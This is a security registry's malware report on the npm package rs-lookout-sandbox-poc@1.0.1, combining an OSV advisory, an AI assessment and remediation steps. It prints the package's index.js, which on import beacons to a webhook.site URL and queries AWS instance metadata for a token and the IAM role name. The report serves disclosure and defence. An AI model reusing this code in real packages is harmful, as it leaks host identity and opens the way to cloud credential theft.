registry / Malware / rs-lookout-sandbox-poc

rs-lookout-sandbox-poc

Environment checks for CI notes (reachability + identity names only).

This report shows the evidence for rs-lookout-sandbox-poc@1.0.1. 1 of 2 known versions is blocked or flagged. See all versions.

OpenSSF/OSV Malicious Advisory

imported 2d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18109 confirms this npm version as malicious.

Advisory

MAL-2026-18109

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in rs-lookout-sandbox-poc (npm)

Details

On module load, index.js reads os.userInfo().username and issues an HTTPS GET to a hardcoded third-party collector at https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/, transmitting the installer's local username to an anonymous external endpoint. The same top-level code performs AWS Instance Metadata Service reconnaissance against 169.254.169.254: it PUTs /latest/api/token to obtain an IMDSv2 session token and then GETs /latest/meta-data/iam/security-credentials/ to enumerate the IAM role attached to the host. Both behaviors fire automatically when the package is required, with no caller action.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The entrypoint performs an unsolicited fixed-endpoint beacon and cloud metadata lookup on import, creating unresolved runtime risk. It does not fetch role credentials or transmit metadata results, so the evidence does not establish credential exfiltration or a concrete attack.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing the package entrypoint, index.js.

Impact

The webhook receives the marker and can observe the request’s source address; metadata results are logged locally.

Mechanism

The entrypoint sends a random marker to webhook.site, requests a metadata token, and looks up the instance role name.

AI rationale

Evidence

package.jsonindex.js

Network endpoints2

webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/169.254.169.254

Independent scan evidence

public snapshot

AI called this Suspicious at 88.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for AI warning decision

The manifest selects index.js as the package entrypoint and describes environment checks.
Importing index.js logs a generated marker and username, then sends the marker to a fixed webhook.site endpoint.
The entrypoint requests a cloud metadata token and uses it to look up the instance role name.
The code explicitly stops before requesting the role’s credentials; it does not send the token or role response to the webhook.

Evidence against

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.16 KB of source, external domains: webhook.site

Source & flagged code

7 flagged

index.jsView file

Lines 1-14javascript

1const os=require('os'),http=require('http'),https=require('https');

2const marker='REVPOC-'+Math.random().toString(36).slice(2,10);

3console.log('OOM_EXEC_MARKER',marker,'user='+os.userInfo().username);

4try{https.get('https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/'+marker,r=>r.resume()).on('error',()=>{});}catch(e){}

High

Ai Review Evidence

Importing index.js logs a generated marker and username, then sends the marker to a fixed webhook.site endpoint.

index.jsView on unpkg · L3

5function call(method,path,headers){return new Promise(res=>{const req=http.request({host:'169.254.169.254',port:80,path,method,headers},r=>{let d=

6(async()=>{

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L1

7 const [s1,tok]=await call('PUT','/latest/api/token',{'X-aws-ec2-metadata-token-ttl-seconds':'21600'});

8 console.log('HANDSHAKE_STATUS',s1,'token_len',s1?String(tok).trim().length:0);

High

Ai Review Evidence

The entrypoint requests a cloud metadata token and uses it to look up the instance role name.

index.jsView on unpkg · L7

9 if(s1&&tok){const [s2,role]=await call('GET','/latest/meta-data/iam/security-credentials/',{'X-aws-ec2-metadata-token':String(tok).trim()});

10 console.log('ROLE_LOOKUP_STATUS',s2,'ROLE_NAME',String(role).slice(0,120));

High

Ai Review Evidence

The entrypoint requests a cloud metadata token and uses it to look up the instance role name.

index.jsView on unpkg · L9

11 console.log('STOP: not fetching /iam/security-credentials/<role>.');}

12})();

13module.exports={};

High

Ai Review Evidence

The code explicitly stops before requesting the role’s credentials; it does not send the token or role response to the webhook.

index.jsView on unpkg · L11

package.jsonView file

Lines 1-8json

2 "name": "rs-lookout-sandbox-poc",

3 "version": "1.0.1",

4 "description": "Environment checks for CI notes (reachability + identity names only).",

5 "main": "index.js",

High

Source & flagged code

7 flagged · loading source

index.jsView file

1const os=require('os'),http=require('http'),https=require('https'); L2: const marker='REVPOC-'+Math.random().toString(36).slice(2,10); L3: console.log('OOM_EXEC_MARKER',marker,'user='+os.userInfo().username); L4: try{https.get('https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/'+marker,r=>r.resume()).on('error',()=>{});}catch(e){} L5: function call(method,path,headers){return new Promise(res=>{const req=http.request({host:'169.254.169.254',port:80,path,method,headers},r=>{let d='';r.on('data',c=>d+=c);r.on('end'... L6: (async()=>{

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L1

3console.log('OOM_EXEC_MARKER',marker,'user='+os.userInfo().username); try{https.get('https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/'+marker,r=>r.resume()).on('error',()

High

Ai Review Evidence

Importing index.js logs a generated marker and username, then sends the marker to a fixed webhook.site endpoint.

index.jsView on unpkg · L3

4https.get('https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/'+marker,r=>r.resume()).on('error',()=>{});}catch(e){} function call(method,path,headers){return new Promise(re

High

Ai Review Evidence

Findings

7 High1 Medium2 Low

HighCloud Metadata Accessindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to rs-lookout-sandbox-poc@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing rs-lookout-sandbox-poc@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-21 03:26:19.693Z (UTC).

Source advisory published: 2026-10-20 18:45:31.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.0.1latestshownMaliciousMalwareBlockPublishedOct 16, 2026, 3:41 PM 0.0.0-stageUnknown—AllowUnder ReviewOct 16, 2026, 12:27 PM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages